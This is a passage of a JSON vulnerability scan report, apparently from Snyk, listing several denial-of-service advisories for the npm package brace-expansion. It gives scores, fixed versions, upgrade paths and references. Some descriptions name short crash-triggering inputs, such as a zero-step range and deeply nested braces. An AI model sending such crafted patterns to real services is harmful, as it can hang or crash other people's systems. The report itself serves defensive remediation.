"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## 